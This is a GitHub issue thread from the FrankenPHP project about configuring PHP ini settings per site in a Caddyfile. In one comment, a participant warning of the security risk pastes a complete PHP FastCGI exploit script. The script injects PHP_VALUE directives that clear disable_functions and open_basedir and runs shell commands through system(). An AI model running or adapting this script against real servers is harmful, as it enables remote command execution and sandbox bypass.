dunglas / frankenphp

🧟 The modern PHP app server
https://frankenphp.dev
MIT License
6.58k stars 218 forks source link

Custom PHP (ini) settings in Caddy configuration #252

Open ruudk opened 10 months ago

ruudk commented 10 months ago

Discussed in https://github.com/dunglas/frankenphp/discussions/247

Originally posted by **ruudk** October 7, 2023 I'm wondering if it would be possible to have custom PHP ini settings in the Caddy config. I checked https://github.com/dunglas/frankenphp/blob/main/docs/config.md but couldn't find it. Let's say you have 2 apps: ``` app.example.com { root /path/to/app/public/ } other.example.com { root /path/to/other/public/ } ``` For `other.example.com` I want to define some custom PHP ini settings. I would like to enable a PHP extension only for one host/app. Having a possibility to define a custom / additional php.ini file, would also be great. The use case that I want to explore is to load the Xdebug extension, once when the `XDEBUG_TRIGGER` query parameter is present. This way, you'll get a blazingly fast development server, and can trigger Xdebug (which slows down the request) on demand. It seems that Nginx Unit supports custom PHP ini settings per app, so I think it should be possible. https://unit.nginx.org/configuration/#configuration-php-options
dunglas commented 10 months ago

Good idea. This should be trivial to do. Do you want to work on a patch?

ruudk commented 10 months ago

I can try (have a bit of Go experience), if you can point me in the right direction?

ruudk commented 10 months ago

With Nginx Unit this seems possible by setting the PHP_INI_SCAN_DIR environment variable.

See:

I wonder if FrankenPHP can work the same.

ruudk commented 10 months ago

Unfortunately, FrankenPHP seems to ignore this environment variable:

php_server {
    env PHP_INI_SCAN_DIR /opt/homebrew/etc/php/8.2:/opt/homebrew/etc/php/8.2/conf.d:etc/start/php
}

It does show up in phpinfo() under PHP Variables:

$_SERVER['PHP_INI_SCAN_DIR'] /opt/homebrew/etc/php/8.2:/opt/homebrew/etc/php/8.2/conf.d:etc/start/php

However, at the top of phpinfo() I see this:

key value
Configuration File (php.ini) Path /lib
Loaded Configuration File (none)
Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)

So it seems that on macOS there is not really a way to configure the php.ini.

ruudk commented 10 months ago

It works when I start FrankenPHP like this:

env PHP_INI_SCAN_DIR=:etc/start/php ~/Downloads/frankenphp run
dunglas commented 10 months ago

It's probably because the env part in the Caddy file is not really imported in the environment and loaded "too late" during the PHP executor boot to be taken into account. IMHO this is better anyway, because this variable is global and cannot be set per site (we use a global instance of the PHP executor for all sites).

BurakBoz commented 9 months ago

Actually, overriding php.ini is not a good thing. open_basedir and disable_functions can be bypassed with this. You should look into Hack Tricks page.

Please do not implement this feature or make it optional, with the default value set to disabled. Users should not change any php.ini settings.

I've tried this FCGI method on FrankenPHP, but it didn't work. That's a good thing. If you make this ini override method, it can lead to security issues.

Here is my 8.2 patched version of FCGI that works on Herd 8.2 PHP binary.

<?php
// https://github.com/BorelEnzo/FuckFastcgi
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data[$p++]);
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data[$p++]) << 16);
                $nlen |= (ord($data[$p++]) << 8);
                $nlen |= (ord($data[$p++]));
            }
            $vlen = ord($data[$p++]);
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data[$p++]) << 16);
                $vlen |= (ord($data[$p++]) << 8);
                $vlen |= (ord($data[$p++]));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data[0]);
        $ret['type']          = ord($data[1]);
        $ret['requestId']     = (ord($data[2]) << 8) + ord($data[3]);
        $ret['contentLength'] = (ord($data[4]) << 8) + ord($data[5]);
        $ret['paddingLength'] = ord($data[6]);
        $ret['reserved']      = ord($data[7]);
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content'][4])) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
//$client = new FCGIClient("127.0.0.1:9000", -1);
//$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$client = new FCGIClient("unix:///Users/son/Library/Application Support/Herd/herd82.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
pierredup commented 7 months ago

@ruudk It looks like it's already possible to include a custom php.ini when it's at the current working directory (have a look at https://github.com/dunglas/frankenphp/pull/487#issuecomment-1903880950). Can you confirm if this works for you?

nickchomey commented 7 months ago

I currently use an Openlitespeed server and apply env PHP_INI_SCAN_DIR=$VH_ROOT/php-configs in specific vhosts/webapps that I want to manually override. The php_configs directory contains all the various ini files for all extensions. (in case anyone is wondering, I use htaccess rules to block access to that directory and .ini files in general).

I mainly do this for xdebug purposes in a staging/dev site, though it can be useful for setting specific things like opcache and memory.

It would be great if this could be available in frankenphp.

pierredup commented 7 months ago

@nickchomey This is already possible with Frankenphp.

# Both commands below will load ini files from the php-configs directory

$ env PHP_INI_SCAN_DIR=$(pwd)/php-configs frankenphp php-server

$ env PHP_INI_SCAN_DIR=$(pwd)/php-configs frankenphp (run|start)

Note: When using php-server, you have to build Frankenphp yourself from the main branch until the next release.

You would also need to add custom rules to your Caddyfile to block access to the php-configs directory

nickchomey commented 7 months ago

Wouldn't that apply to all sites? I want different ini config for different webapps, as has been discussed in this issue

dunglas commented 7 months ago

I fear that it will be difficult to achieve that with FrankenPHP because environnement variables are process-wide, and unlike most other SAPIs, FrankenPHP serves all sites using the same process (it uses threads).

We may emulate this behavior in some way, but just setting the environment variable will not be enough.

nickchomey commented 7 months ago

Isn't what I've described the same as what OP described here and was suggested to be a trivial thing to implement? Am I misunderstanding something?

dunglas commented 7 months ago

@nickchomey AFAIU, no, it's not the same thing. OP wanted to be able to embed ini settings in the Caddyfile (which is likely trivial to implement). Using the PHP_INI_SCAN_DIR env var per site to reference external files, however, will be way harder. Actually, by "emulating this feature", I was thinking about reading the external ini files and passing their contents to PHP "manually", instead of relying on PHP_INI_SCAN_DIR.

nickchomey commented 7 months ago

Ah, understood! Well, I'm happy to use the caddyfile for the same php.ini configuration variables if that's possible! In particular, to turn xdebug on/off per site (as OP said they wanted to do). Or change the max memory limit. Etc...

Or perhaps there's still some misunderstanding somewhere.